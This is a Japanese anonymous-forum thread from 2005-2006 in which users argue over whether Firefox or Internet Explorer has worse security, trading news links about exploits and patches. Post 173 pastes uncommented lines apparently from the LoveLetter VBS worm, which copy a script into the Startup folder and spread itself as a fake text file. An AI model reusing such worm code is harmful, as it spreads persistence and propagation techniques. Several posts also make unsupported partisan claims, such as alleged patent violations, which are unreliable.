【Firefox】IEより多かったセキュリティ脆弱性

【Firefox】IEより多� ..

116:112
05/09/24 17:44:23 JKbW/6bF0
>>115
そう。
素のFirefoxはタブブラウザのくせに新しいウィンドウをバンバン開くからTabMixで黙らせた。
RSSリーダ入れようと思ったけどいいのが無かったんでMirandaで拾ってる。

117:名無しさん＠お腹いっぱい。
05/09/24 21:44:36 qCy15ixo0
別ブラウザの話（事実と異なる）をしている人が、
「Firefox　IEより多かったセキュリティ脆弱性」というスレッドに沸いているのがちと不思議

118:名無しさん＠お腹いっぱい。
05/09/24 22:21:40 plI4QWGe0
>>116
RSSをMirandaで拾うって・・
知らんソフトだったからググって見たけどそんな用途に使えるとは。すげーなｗ

>>117
別ﾌﾞﾗｳｻﾞの話して悪かった。
でも事実と異なることは話してないと思うぞ。
例えばどのへん？

119:名無しさん＠お腹いっぱい。
05/09/25 04:28:57 Zwu1xzPH0
>>118
オレも的外れなことを書いていると分かったけど、スレちがいだからレスを我慢したクチだよ。
そういう話題はよそへ移動した方がよいと思う。
火狐愛好者が便乗してきて、話題をほかのブラウザに変えるのも心配だしね。

120:名無しさん＠お腹いっぱい。
05/09/25 04:54:29 lMdliH7p0
>>119
君がっかりスレにもいなかったっけ？

121:名無しさん＠お腹いっぱい。
05/09/25 04:59:29 Zwu1xzPH0
>>120
おらん。

122:名無しさん＠お腹いっぱい。
05/09/26 09:31:12 MNfm2REa0
Firefoxのセキュリティ・ホールを突く危険なコードが出回る

米SANS Instituteなどは米国時間9月23日，Firefoxなどに見つかった
セキュリティ・ホール「IDNバッファオーバーフロー問題」を突くコード（プログラム）が
ネット上で公開されているとして注意を呼びかけた。そのコードが含まれるページを
Firefoxで閲覧すると，リモートからアクセス可能なシェルが起動され，
攻撃者にパソコンを乗っ取られる可能性がある。

URLﾘﾝｸ(itpro.nikkeibp.co.jp)

123:名無しさん＠お腹いっぱい。
05/09/26 18:08:43 a6bnxBsV0
Firefoxのセキュリティ・ホールを突く危険なコードが出回る
URLﾘﾝｸ(itpro.nikkeibp.co.jp)

米SANS Instituteなどは米国時間9月23日，Firefoxなどに見つかった
セキュリティ・ホール「IDNバッファオーバーフロー問題」を突くコード（プログラム）が
ネット上で公開されているとして注意を呼びかけた。そのコードが含まれるページを
Firefoxで閲覧すると，リモートからアクセス可能なシェルが起動され，
攻撃者にパソコンを乗っ取られる可能性がある。
9月23日に日本語版が公開されたFirefox 1.0.7ではこのセキュリティ・ホールは解消されている

>>122
引用するならちゃんと1.0.7でパッチ当たってるとこまで引用しなよｗ

124:名無しさん＠お腹いっぱい。
05/09/27 01:04:54 s2h1V+nW0
トロイに感染したMozillaとThunderbirdがMozillaの公式FTPサイトにアップ
URLﾘﾝｸ(internet.watch.impress.co.jp)
工工エエェェ（´Д｀）ェェエエ工工

インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox
インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox
インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox　

125:名無しさん＠お腹いっぱい。
05/09/27 01:19:07 opYn+JI80
>>124
なぜ「韓国語版」というとこを引用しませんか

126:名無しさん＠お腹いっぱい。
05/09/27 02:27:10 nsLh+TDK0
火狐ズタボロ
ﾃﾗｶﾜｲｿｽ

127:名無しさん＠お腹いっぱい。
05/09/27 04:26:14 deFs5FiD0
>>122や>>124 のように自分の都合の悪い部分を引用しない
不公正な記事紹介者に惑わされてはいけません。正しい知識を身につけるには自分で調べることが大切です。

Google 検索　"脆弱性　IE　Firefox"
URLﾘﾝｸ(www.google.co.jp)

Google News 検索　"脆弱性　IE　Firefox"
URLﾘﾝｸ(news.google.co.jp)

128:名無しさん＠お腹いっぱい。
05/09/27 05:27:07 M1jFvEgd0
>>122や>>124の元記事を読みましたが、事実を歪曲した変な記事ではなかったです。
公式サイトに韓国版がアップされたということは、日本語版でも同様の事件が起きる可能性があったと感じます。
>>122の記事も最新版へ版を上げるのが半日でも遅ければ、被害を受けてしまう可能性が示唆されている緊迫感が溢れた内容でした。
漏れの胸には、>>122や>>124の元記事がズンと響きました。(｀Д´；)

129:名無しさん＠お腹いっぱい。
05/09/27 08:04:46 k4CB8WNT0
使わなきゃいいだろ

130:名無しさん＠お腹いっぱい。
05/09/27 10:25:51 cIuQPL1X0
やっぱりIEが一番安全だね。
MS謹製は伊達じゃないね。

131:名無しさん＠お腹いっぱい。
05/09/27 20:16:28 /uGK3lAg0
GNUかどっかのFTPも一時期ハックされたよな

132:名無しさん＠お腹いっぱい。
05/09/28 23:46:38 CdgqJAxR0
>>128
どこからどこが同様な事件なのか謎だな。モジラコリアと別組織のMozilla Japanで同じことが
起きる可能性なら、別のオープンソース系のプロジェクトも同じくらいだろうし。
まあ汚染されたローカライズ版がローカライズ元のヘマでMozilla.orgのFTPにあがる危険性も
今回の失敗を反省せずにケンチャナヨな仕事しないかぎりローカライズ版も安心だろう。
そもそもローカライズ版なんて公式に置いてあろうがその言葉使う人間しか使わないもんだしな。

個人的にはハングル版は使う予定はないし、MozillaJapanが信用できないようなら
次のブラウザ決めるまではそういう事が起きる可能性の低い英語版使うだろうな。

怖いなら他のブラウザに乗り換えればいいんだよな、幸い火狐も雷鳥も人に勧めた事もないし・・・

133:名無しさん＠お腹いっぱい。
05/09/29 02:01:03 lKrqHRhw0
勝手につけられた「公式」という言葉に惑わされている人間がいるな
自分でよく情報を精査してみたら？

あと、オープンソースVSマイクロソフトという図式を
意図的に作り出そうとしている人間もいるから要注意。

MSNのサイトだって凶悪なウイルスをばら撒いていたこともあることだし

134:名無しさん＠お腹いっぱい。
05/09/29 22:07:46 28f7dZxc0
URLﾘﾝｸ(internet.watch.impress.co.jp)
Geckoエンジンに由来する脆弱性、Lunascapeにも影響

ほかの製品の足まで引っ張ってるんだな（汗
しょうもない。

135:名無しさん＠お腹いっぱい。
05/09/29 23:17:40 sodlPqrm0
マルチエンジンだとそれぞれのエンジンの脆弱性というリスクを背負ってるからな。

136:名無しさん＠お腹いっぱい。
05/09/30 21:28:48 aoJUMEOC0
それこそIEだとほぼ全滅だろうが（ﾜﾗ

137:名無しさん＠お腹いっぱい。
05/10/01 10:38:30 TeRyCRtr0
Gecko外せば良い話だ＞Luna
すぐ外せ

138:名無しさん＠お腹いっぱい。
05/10/01 12:51:34 0pB875gi0
>>135
作者さんのリスクは増えるけどユーザのリスクは減ってる罠。

139:名無しさん＠お腹いっぱい。
05/10/03 16:14:41 KyL+RY7o0
報告された弱点と実際のセキュリティはFirefoxの優位性を示している
URLﾘﾝｸ(www.itmedia.co.jp)

106ページから成るSymantecのリポートでは、ブラウザの弱点についての記述は僅かな部分を占めているにすぎない。
しかし、業界紙はFirefoxの弱点がIEよりも多いというニュースを大きく取り上げていた。

Firefoxのほうが「報告された」弱点は多いかもしれないが、実際のエクスプロイトを見つけるのは難しい。
Mozillaプロジェクトの製品ヘッドを務めるクリス・バード（Chris Beard）氏は、Firefoxの弱点に対して実際に攻撃があったという話は聞いていないと言った。

140:名無しさん＠お腹いっぱい。
05/10/07 00:46:19 xKhAwCWo0
URLﾘﾝｸ(japan.cnet.com)
またFirefoxのプロモーションサイト侵入事件　ユーザー10万人の個人情報流失の可能性

Firefoxは何から何までクソだな

141:名無しさん＠お腹いっぱい。
05/10/07 01:58:41 SHwKQQlj0
最近変な動作が多いと思ったら、これが原因か。
こんな事なら、IEから乗り換えるんじゃなかった・・・

こんな無責任なブラウザ、もう二度と使わない。

142:名無しさん＠お腹いっぱい。
05/10/07 03:56:23 qkQVgx2n0
そう？俺は逆でIEの頃はバンバンブラクラやスパイウェア喰らいまくり、
その他原因不明のエラーで落ちまくったけど、Firefoxにしてからはそんなことは一度もなくなったよ。
別世界のように安定してる。もっと早く決断しとくべきだったよ。

それに、すぐにFirefoxに責任転嫁するのはちょっと時期尚早じゃないんかい？
ちゃんと検証してからじゃないと逆に問題解決が遠くなるよ。スパイウェアやウィルスの働きかもしれないし。
特にIEの人は知らないうちにスパイウェアやウィルス喰らっててそういうのが多いんだよね。一度ちゃんと調べてもらうことをおすすめするよ。

143:名無しさん＠お腹いっぱい。
05/10/07 09:03:37 SgY26LkG0
>>141
>>140で書いてある情報の流出はFirfoxの動作と関係ないと思うぞ。

144:名無しさん＠お腹いっぱい。
05/10/07 09:05:03 SgY26LkG0
まちがった。orz
×Firfox
○Firefox

145:名無しさん＠お腹いっぱい。
05/10/07 13:59:36 F7fGvN3p0
正直、個人情報一切持ってない俺には脆弱性なんてどうでもいい

146:名無しさん＠お腹いっぱい。
05/10/07 14:03:24 6nZKQfvl0
IP自体立派な個人情報

147:名無しさん＠お腹いっぱい。
05/10/07 22:59:25 Y4/nGif40
ああそう

148:名無しさん＠お腹いっぱい。
05/10/12 00:39:13 jHMQxzfP0
Firefox 1.0.7でリモートから攻撃可能なスタックオーバーフローが見つかる
URLﾘﾝｸ(www.netsecurity.ne.jp)

また糞foxのでかいセキュ穴・・・・。Linux使いなんでクマったよ。('A`)

149:名無しさん＠お腹いっぱい。
05/10/12 01:10:02 UhKZX0zs0
＞IP自体立派な個人情報
IPは全世界共通のプロトコルです。
IPアドレスは利用者の氏名、住所、その他の個人情報を特定するものではありません。
つまり個人情報ではありません（個人情報保護法より）

結論だけ言うとｱﾎかと。

150:名無しさん＠お腹いっぱい。
05/10/12 01:40:25 tuzXIcIz0
GATEKEEPERにとっては困ることだ

151:名無しさん＠お腹いっぱい。
05/10/12 15:08:18 Ucs66PI80
どうでもいいよ

152:名無しさん＠お腹いっぱい。
05/10/12 20:55:31 JyuiqZsS0
>>149
他のデータと照合することにより個人を特定できる場合は
個人情報として認められるんじゃなかったか

153:名無しさん＠お腹いっぱい。
05/10/13 00:22:56 nmeBryoK0
IPアドレス（とその接続時刻）から個人を割り出せるのって基本的にISPだけじゃないの？

154:名無しさん＠お腹いっぱい。
05/10/13 04:43:57 OkmmlNcx0
SMTP over SSL でヘッダーに付くIPアドレスから
引き篭ってることがバレる。Webメールを使おう。

155:名無しさん＠お腹いっぱい。
05/10/14 16:25:20 EeTPCnwU0
脆弱性とかどうでもいい
昔は脆弱性ぐらいでスレ乱立しなかったし

156:名無しさん＠お腹いっぱい。
05/10/14 22:35:00 5mcfrceg0
どうでも良いとはいわないけど、本気で脆弱性を気にしだしたらWindows使うなってことになりかねない。
じゃあ、何を気にすればいいんだっていったら、速やかにパッチされるかどうかってことじゃない？

一番困るのは放置プレイ。

157:名無しさん＠お腹いっぱい。
05/10/17 19:06:38 CKId7XO40
ｽﾚﾘﾝｸ(sec板:732-797番)

797 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/10/17(月) 18:58:02
>>792
つまりFirefoxが糞ということでFAなw

158:名無しさん＠お腹いっぱい。
05/10/17 19:30:05 DN35F2g10
>>157
IEと互換性を高めるためにFxは
URLﾘﾝｸ(www.rakuiti.com)
を呼びにいってるけどそのファイルがhtmlだからNOD32さんが誤検出してるだけっぽい。(どの時点で検出してるか知らないけど。ディスクキャッシュ辺り?)
IEはリダイレクト時は/favicon.icoを呼びにいかない仕様なのかな?(それともMOD32がfaviconを取得できてないのか)
#セキュリティ板ってレヴェル低いなw

159:名無しさん＠お腹いっぱい。
05/10/17 19:36:15 0eAiplk60
セキュ板より通信技術板のほうがいい

160:名無しさん＠お腹いっぱい。
05/10/17 22:40:18 uusxxYP90
>>158
MOD32 の検索結果約 11,700 件中 1 - 50 件目 (0.31 秒)

161:名無しさん＠お腹いっぱい。
05/10/18 06:30:47 xjmjx5C20
IEだったらいまごろどんだけウィルスかかってたか

162:名無しさん＠お腹いっぱい。
05/10/18 06:39:38 xjmjx5C20
まぁ自身は火狐使ってなくてスレイプニルだけど・・
他のブラウザの存在しってたらIEなんか使わないだろ
というかIE開こうとしてもなんかのエラーで開かないよ　プニルも火狐も使えるのに
糞ウィンドウズが壊れてきたのかな

163:名無しさん＠お腹いっぱい。
05/10/18 06:42:06 xjmjx5C20
IEはウィンドウズの一部だからな・・・欠陥OS　XP・・・
データ退避させないといけないのか、メンドいな

164:名無しさん＠お腹いっぱい。
05/10/18 07:06:32 wIuHDK4u0
またなんか公開されてるみたいだな

165:名無しさん＠お腹いっぱい。
05/10/18 13:54:07 K/eKfqzB0
Mozilla Firefoxブラウザの致命的でないバグを利用して、サービス停止（DoS）攻撃を
引き起こすことができると、Whitedust Securityが指摘している。

同サイトはこの主張を証明するための脆弱性実証コードと単純なテストリンクを公開した。
URLﾘﾝｸ(www.itmedia.co.jp)
このコードが利用するバグはMozillaにとって既知のものだ。これは8月からMozillaの
バグトラッキングシステムである「Bugzilla」に掲載されていた。

このBugzilla Bug 303433は初めsecurity-protocols.comのトム・フェリス氏が報告し、
「この不正な形式の.htmlページでFirefox 1.0.6のsegfaultsが起きる」というタイトルが付けられている。
セキュリティ企業Secuniaは10月10日にこのバグに関するアドバイザリを掲載し、
「Mozilla Firefox IframeサイズのDoSの脆弱性」という題と「Not critical（致命的でない）」という評価を付けている。

「ブラウザを繰り返しクラッシュさせられるというのは致命的なバグではないかもしれないが、
もっと時間があればDoS攻撃を利用してより深刻な攻撃を仕掛けられる可能性がある」と
Whitedustのマーク・アンダーソン氏。

「定義に従えば、このバグは明らかにDoSだ。ブラウザをクラッシュさせることで、
このバグはユーザーの閲覧行為を中断させ、実質的にはすべてのアクティブなセッションを破壊して、
サービスを停止する」（同氏）

166:名無しさん＠お腹いっぱい。
05/10/18 16:10:20 wF9ubEvV0
>>165
それいうんだったらcssがらみでもっとクラッシュバグがいっぱいあったはず。
それよりも<img src="mailto:">をどうにかして欲しい。

167:名無しさん＠お腹いっぱい。
05/10/18 18:34:00 FzjzmHXj0
>>158

>それともNOD32がfaviconを取得できてないのか
IEは「お気に入り」登録する時にfavicon取得する仕様だからな。
おまえってレヴェル低いなw

168:名無しさん＠お腹いっぱい。
05/10/18 20:29:18 wF9ubEvV0
>>167
Windows環境ないんで。
どっちにせよFxではdataスキーマでhtmlファイルに埋め込まれるから安全。

169:名無しさん＠お腹いっぱい。
05/10/18 20:29:36 FqqHA8U60
>>162
IEの脆弱性はIEコンポ使ってるブラウザにも波及するわけだが

170:名無しさん＠お腹いっぱい。
05/10/18 20:45:47 JZAhOkEt0
javascriptとかcookieとかを簡単に切れる分、生IEよりはましじゃん。
まあLynxを使ってる俺には関係ない話だが。

171:名無しさん＠お腹いっぱい。
05/10/18 20:46:55 JZAhOkEt0
やった、IDがAhOだｗ

172:名無しさん＠お腹いっぱい。
05/10/18 21:07:45 FzjzmHXj0
>>171
オメ!w

ついでに賛美しといてやるw

>>171の Σ^)/アホーアホー☆ミ

173:名無しさん＠お腹いっぱい。
05/10/19 01:19:48 Da9E51cb0
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

174:名無しさん＠お腹いっぱい。
05/10/19 18:36:56 ZlOmEkpw0
ブラウザならW3Cオススメの Amaya を使ってみれ。
URLﾘﾝｸ(www.w3.org)

175:名無しさん＠お腹いっぱい。
05/10/19 21:40:54 yF+pppXI0
>>174
日本語対応?

176:名無しさん＠お腹いっぱい。
05/10/20 01:17:04 UHOcCHcq0
あやや？
反りっ鼻ブスのことか？

177:名無しさん＠お腹いっぱい。
05/10/31 14:21:27 oKU9sXP90
Windows Vista Beta 1 and Internet Explorer 7 Beta 1 BUGS,BUGS,BUGS!!!

URLﾘﾝｸ(www.thehotfix.net)

178:名無しさん＠お腹いっぱい。
05/11/17 21:58:08 FZokDkCp0
>>158
何これ
支那人にいたずらされたんか

179:名無しさん＠お腹いっぱい。
05/12/03 17:03:09 T/u9tYTz0
パッチ未公開のIEの脆弱性を突くトロイの木馬「Delf.DH」

180:名無しさん＠お腹いっぱい。
05/12/10 05:07:25 w97Gl0WE0
Firefox 1.5のバグを悪用する実証コードが公開に - CNET Japan
URLﾘﾝｸ(japan.cnet.com)

火狐なんてまだ使ってる馬鹿いるのか？

181:名無しさん＠お腹いっぱい。
05/12/10 05:49:31 bX3v34mU0
つーかさ、オープンソースってことは
最初のうちは開発者みたいな顔して開発に参画しててｺｿｰﾘ見つかりにくく脆弱性仕込んどいて
しばらくしたら何食わぬ顔でハッカーに変貌する香具師とかいるんじゃね？
やっぱマイクロソフト製品ぐらいしか信用できんよなあ

182:名無しさん＠お腹いっぱい。
05/12/10 13:05:00 udSGLeL/0
つーかさ、プロプライエタリってことは
最初のうちは社員みたいな顔して開発に参画しててｺｿｰﾘ見つかりにくく脆弱性仕込んどいて
しばらくしたら何食わぬ顔でハッカーに変貌する香具師とかいるんじゃね？
やっぱオープンソース製品ぐらいしか信用できんよなあ

183:名無しさん＠お腹いっぱい。
05/12/10 18:59:12 KTTeMXRO0
新版早々脆弱性かよｗｗ

184:名無しさん＠お腹いっぱい。
05/12/11 00:15:36 2T58xXUG0
>>180
URLﾘﾝｸ(japan.cnet.com)
> Mozilla Corpのエンジニアリング担当バイスプレジデントMike Schroepferによると、
> 特定のウェブサイトにアクセスしても、ブラウザがクラッシュしたり、DoS攻撃の危険にさらされることはなかったという。
> また、Mozillaのエンジニアリング担当バイスプレジデントMike Schroepferは、
> このような問題に遭遇したとの報告は一件も届いていないと述べている。
> 同氏はさらに、history.datファイルのバグが原因で、次回以降Firefox 1.5の起動に時間がかかることもあるが、
> これはセキュリティの問題ではないと付け加えた。

URLﾘﾝｸ(www.mozilla-japan.org)
> 私たちはこの問題を調査し、
> このサービス拒否 (DoS) 攻撃が応用されて悪用可能なクラッシュを引き起こす可能性があるとの主張には根拠がないこと、
> またこの主張を裏付ける証拠が提供されていないことを確認しました。
> ユーザやコンピュータに、起動時の一時的な不応答を超えるリスクはないと考えられます。
> この問題に遭遇した方は、履歴からアイテムを削除することで、起動時の不応答を回避できます。

セキュリティグループとやらの程度が知れるな。アンチ乙

185:名無しさん＠お腹いっぱい。
05/12/11 01:19:50 mokY+t5T0
>>184みたいな信者は開発者のデムパ主張しか信じない厨w

186:名無しさん＠お腹いっぱい。
05/12/11 01:37:04 QxDYz2sr0
URLﾘﾝｸ(secunia.com)
Critical: Not critical

187:名無しさん＠お腹いっぱい。
05/12/11 02:19:27 EMCnSYvp0
>>184
>ユーザやコンピュータに、起動時の一時的な不応答を超えるリスクはないと考えられます。

いや、これだけでも十分にリスキーなんですけどｗ
頭悪いの？

188:名無しさん＠お腹いっぱい。
05/12/11 02:23:08 EeAErw2M0
そりゃあ火狐厨は頭が悪いだろう

189:名無しさん＠お腹いっぱい。
05/12/11 02:31:00 puyV5qE70
FirefoxやIEなんて目じゃないぜ！Operaﾏﾝｾｰ
URLﾘﾝｸ(my.opera.com)

190:名無しさん＠お腹いっぱい。
05/12/11 12:52:34 4mPkCyG80
Firefix 1.0.7を使ってる漏れは勝ち組

191:名無しさん＠お腹いっぱい。
05/12/11 16:40:12 2T58xXUG0
>>187
"セキュリティ"の問題は無いっていう話なんだけど？スレタイ読める？

192:名無しさん＠お腹いっぱい。
05/12/11 18:43:50 MTqpslBK0
正直、脆弱性の数より危険度を重視すべきだと思うがなあ。
firefoxの脆弱性つっても、せいぜいブラウザ蛾落ちる程度だろ。
IEの脆弱性は、OS蛾ぶっ壊れるからなあ。
firefox使えとは言わないが、IEはやめたほうがいいと思われ。

193:名無しさん＠お腹いっぱい。
05/12/12 04:53:36 KW/pB/3n0
>>192
で？何を使えと？

194:名無しさん＠お腹いっぱい。
05/12/12 19:42:27 NE5OKcoP0
w3m

195:名無しさん＠お腹いっぱい。
05/12/12 20:30:49 8Cp//zIN0
氏ね

196:名無しさん＠お腹いっぱい。
05/12/13 15:35:59 7IzOp8080
history.datの問題って、Bugzillaに報告すべきただのバグなのに
脆弱性とか言っちゃってるよw。

エクスプロイトコード書いた奴は、うれしくてしょうがなかったん
だろうなw。

197:名無しさん＠お腹いっぱい。
05/12/13 20:38:37 zqYfAndE0
信者必死だなｗ

198:名無しさん＠お腹いっぱい。
05/12/13 20:42:17 mWKy6MMO0
それしか言えなくなってるのか

199:名無しさん＠お腹いっぱい。
05/12/14 03:16:21 VKxsdWbQ0
脆弱性がバグなのはあたりまえだろ。

200:名無しさん＠お腹いっぱい。
05/12/14 15:22:19 PH3NZo5f0
>>199
脆弱性はバグが引き起こすものだが、バグがすべて脆弱性とは限らない。

201:名無しさん＠お腹いっぱい。
05/12/14 18:59:40 yBgh1OmtP
┐(´ー｀)┌

202:名無しさん＠お腹いっぱい。
05/12/14 20:33:55 uURjVkAx0
114 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/12(月) 09:19:54 ID:kmCvCNIb0
IEとIEコンポのタブブラウザを使っていると個人情報が簡単に抜かれんだと。
対処法はJavaScriptを切るしかないみたいだ。アンチウィルスソフト使ってても駄目。
URLﾘﾝｸ(d.hatena.ne.jp)

問題はローカルのcssっぽく偽装したJavaScriptファイルを
IEが勝手に内容から判断して実行するからだそうな。

これを検証してたら実はシャレにならないバグだと分かったらしい。
IEの欠陥により、Google Desktopに情報漏洩の危険性
URLﾘﾝｸ(slashdot.jp)

203:名無しさん＠お腹いっぱい。
05/12/14 21:03:27 PH3NZo5f0
>>201
お前アホだろ。

204:名無しさん＠お腹いっぱい。
05/12/14 21:13:34 yBgh1OmtP
>>203
ちょっとまてｗｗ
その顔文字>>200に向けたのではないぞ。

205:名無しさん＠お腹いっぱい。
05/12/14 21:51:26 PH3NZo5f0
>>204
なんだよ。まぎらわしいな。

206:モジラ財団、「Firefox 1.5」のバグを認める
05/12/15 02:41:30 UnscJ5bc0
モジラ財団、「Firefox 1.5」のバグを認める
モジラ財団、「Firefox 1.5」のバグを認める
モジラ財団、「Firefox 1.5」のバグを認める
モジラ財団、「Firefox 1.5」のバグを認める
モジラ財団、「Firefox 1.5」のバグを認める
URLﾘﾝｸ(japan.cnet.com)

（　´,_ゝ`）ﾌﾟｯ

207:名無しさん＠お腹いっぱい。
05/12/15 02:56:01 n3W7HDHb0
ＳＬで快適

208:名無しさん＠お腹いっぱい。
05/12/15 03:21:35 mwBZzwM60
プラグイン方式について

209:名無しさん＠お腹いっぱい。
05/12/15 23:29:40 S6+sTIrr0
>>206
良く見ろ。書いてることは>>184と同じことだぞ。
脆弱性があるとは書かれていない。

210:名無しさん＠お腹いっぱい。
05/12/16 22:43:03 xGEphufr0
ネスケとかオペラ使えばいいんじゃね？

211:モジラ財団、「Firefox 1.5」のバグを認める
05/12/17 04:22:56 pY7DWO/B0
>>209
> 良く見ろ。書いてることはバグを認めたと同じことだぞ。
モジラ財団、「Firefox 1.5」のバグを認めると書いてある。

212:209
05/12/20 23:11:54 NDDLEcgS0
>>211
いや、だからタイトルじゃなくて記事の「内容」を良く見ろってこと。
書いていることは>>184と同じ。
そのタイトルは、変。japan.cnet.comが書きそうなタイトルだな。

213:名無しさん＠お腹いっぱい。
05/12/21 00:36:31 XWV4ug+A0
やっぱりIEのほうがよさそう
総合的に見て。

214:名無しさん＠お腹いっぱい。
05/12/23 01:52:20 3QlUndqw0
>>212
必死な信者

215:名無しさん＠お腹いっぱい。
05/12/26 21:27:35 ktemxUtf0
ソース読んでみたけど最低17箇所で特許侵害およびGPLソースのコピペが確認できたよ。
マジやばいな。

216:名無しさん＠お腹いっぱい。
05/12/26 22:34:30 oIwQzFC30
>>215
ほう、祭りの予感がw

217:名無しさん＠お腹いっぱい。
05/12/26 22:40:16 SmuaJMm50
特許番号ヨロ
GPLはどのへんが違反？

218:209
05/12/28 00:38:01 QvHQaO7b0
久しぶりに来た。
>>214
そういうレスは良く見て理解してから家理由もなしに叩くだけしか能が無いのかね

219:名無しさん＠お腹いっぱい。
05/12/28 02:34:06 CQyCHpfI0
>>218
その姿は誰がどう見ても「必死」だけどなｗｗ

220:名無しさん＠お腹いっぱい。
06/01/06 18:16:58 ZS44zqZ70
ＷＭＦ

ｗＷＭＦ

ｗｗＷＭＦ

ｗｗｗＷＭＦ

221:名無しさん＠お腹いっぱい。
06/02/02 03:23:04 Ed/mbyVo0
IEのほうがよさそう。

IE7が楽しみです。

222:名無しさん＠お腹いっぱい。
06/02/02 22:39:01 A2k6ER+50
Microsoft Internet Explorer 6.x with all vendor patches installed and all vendor workarounds applied, is currently affected by one or more Secunia advisories rated Highly critical.
URLﾘﾝｸ(secunia.com)

Mozilla Firefox 1.x with all vendor patches installed and all vendor workarounds applied, is currently affected by one or more Secunia advisories rated Less critical.
URLﾘﾝｸ(secunia.com)

本当にFirefoxは脆弱性だらけなのだろうか？
IEは放置(ry

223:名無しさん＠お腹いっぱい。
06/02/03 00:17:59 1u0qt/Lo0
バージョン0.0.0.1上がっただけで拡張総崩れ（ｗ

224:名無しさん＠お腹いっぱい。
06/02/03 00:28:08 /EK5IDAi0
Firefoxが何を目指しているのかどんどんわからなくなるな。

セーフティなブラウザ？
安定した堅牢なブラウザ？
拡張性の富んだブラウザ？

・・・コンセプトが相互に干渉しあって、結局
危険かつ不安定で拡張するとリスクがさらに増すブラウザになってる希ガス

225:名無しさん＠お腹いっぱい。
06/02/03 15:13:16 AtTfSgpY0
セキュリティ関係もプラグインにしてしまえば。
・・・スパイウェア作り放題になるか

226:名無しさん＠お腹いっぱい。
06/02/04 20:22:00 Edc7t9wv0
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
だからＩＥは使うなとあれほｄ
　それによると，IEは98％が危険日だった。パッチ未提供の公開済みセキュリティ・ホールが存在しなかったのは，2004年を通してわずか7日だった。

　Firefoxの危険日数は15％。パッチ未提供のセキュリティ・ホールが公開されていた期間は56日間だった。このうち30日間は，Macintoshユーザーだけが影響を受けるものだった。Windows版に限ると，Firefoxの危険日数は7％となる。

227:名無しさん＠お腹いっぱい。
06/02/04 20:22:35 Edc7t9wv0
だからＩＥは使うなとあれほｄ
↑
これは俺の意見なｗ

228:名無しさん＠お腹いっぱい。
06/02/04 20:23:46 vPnl51n+0
まあまあ。
FirefoxをコケにするIE信者は、
危ない状態でずっとPCを使っててね、と。

229:名無しさん＠お腹いっぱい。
06/02/04 21:14:54 Dwt5NVjZ0
表示の癖をIEと同じにして
IE向けhtmlをちゃんと解釈する独自ブラウザだったら欲しい

230:名無しさん＠お腹いっぱい。
06/02/05 00:20:48 JDHsLB7y0
>228
Fx罵倒荒しは大抵の場合ﾌﾟﾆﾙ厨だお

231:名無しさん＠お腹いっぱい。
06/02/05 00:34:54 hzf/Lrf30
プニルもIEコンポだろ

232:名無しさん＠お腹いっぱい。
06/02/05 10:36:31 3VkkV2AH0
>>229
表示の癖をＩＥと同じようにしたいんなら、lunascape使えばいいんじゃね？
俺は、Jwordが入ってるって話を聞いたから使ってないけど。

233:名無しさん＠お腹いっぱい。
06/02/05 11:53:46 OesjrL7a0
シェアが少なかったら狙われる人が少ないので脆弱性が表にならないだけだよ。

これからどんどん増えていくだろうし、かなり危険だよ。

234:名無しさん＠お腹いっぱい。
06/02/05 12:03:57 7qcEEOX90
888 名前：名無し~3.EXE[] 投稿日：2006/02/04(土) 09:29:12 ID:/WaMsH7z
IE厨の苦しい言い訳集その１

・セキュリティホールが１０分で見つかるへぼさ
→（苦しい言い訳）注目度が高いから
→現実：セキュリティホールを見つけるような団体や個人は
他のブラウザも日頃からテストしているプロだからIEが注目度が高いから
見つかったわけでなく単にヘボいから
・CSS対応ボロボロでへぼい
→（苦しい言い訳）IEの仕様にみんな合わせるから関係ない
→現実：IEの不具合の仕様書や解説書ではなく、CSSの仕様書や解説書に
もとづいてツールや手で書かれている

235:名無しさん＠お腹いっぱい。
06/02/05 12:04:35 7qcEEOX90
895 名前：名無し~3.EXE[] 投稿日：2006/02/04(土) 10:59:06 ID:H4ajVbbg
・セキュリティホールが１０分で見つかるへぼさ
→（苦しい言い訳）ユーザー多くなってセキュリティホール狙われたら（ry
→現実：セキュリティホールを見つけるような団体や個人は
他のブラウザも日頃からテストしているプロだからIEがユーザーが多いから
見つかったわけでなく単にヘボいから

つーか誰かに狙われてるから見つかってるわけじゃないことをいい加減気づけ　＞　IE厨

236:名無しさん＠お腹いっぱい。
06/02/05 12:05:23 7qcEEOX90
897 名前：名無し~3.EXE[] 投稿日：2006/02/04(土) 11:16:33 ID:H4ajVbbg

IEがセキュリティ上の深刻な問題を抱えていることに疑いの余地はない。（ry)
Microsoft陣営が用いる反論の一つに「偏在性」がある。(ry)「IEがたえまない
攻撃にさらされているのは、非常に多くのユーザーに使用されているからだ。
そして、もし他のブラウザが(ry)」と言うのだ。
この反論は疑わしい。まず広く利用されていると必然的に脆弱性がセキュリティ
攻撃の対象となるという論理展開がそもそも間違っている。たとえば、Apacheは
世界でももっとも広く利用されている Web サーバーソフトウェア（市場シェアは
(Microsoft のWebサーバーが21%であるのに対して、Apacheは68%)であり、
（ｒｙ）MicorosoftのWebサーバーよりもセキュリティホールの数も少なく、
攻撃を受ける回数も少ない。
次にIEやその他のMicrosoftソフトウェアがよく攻撃を受ける本当の理由は、
攻撃が簡単だからだ。

「ブラウザ選択の時代を読み解く」p.31

237:名無しさん＠お腹いっぱい。
06/02/05 12:40:48 OGJ7Witp0
>>233
普通に考えれば、オープンソースなfirefoxの方が不具合見つかる確立が格段に高いわけだが。
苦しい言い訳みっともない。

238:名無しさん＠お腹いっぱい。
06/02/05 12:41:17 1E2Kbi0n0
>>232
それだとIEコンポーネントだから結局脆弱性IEと同じ罠
GeckoコンポーネントにするとGecko系になっちゃうし

239:名無しさん＠お腹いっぱい。
06/02/09 20:55:58 TAY0Kz2P0
> 普通に考えれば、オープンソースなfirefoxの方が不具合見つかる確立が格段に高いわけだが。

最近のオープンソースプロジェクトの失敗例を見ると、昔から言われていた
そのようなオープンソースの優位性は必ずしも正しいとはいえないようです。

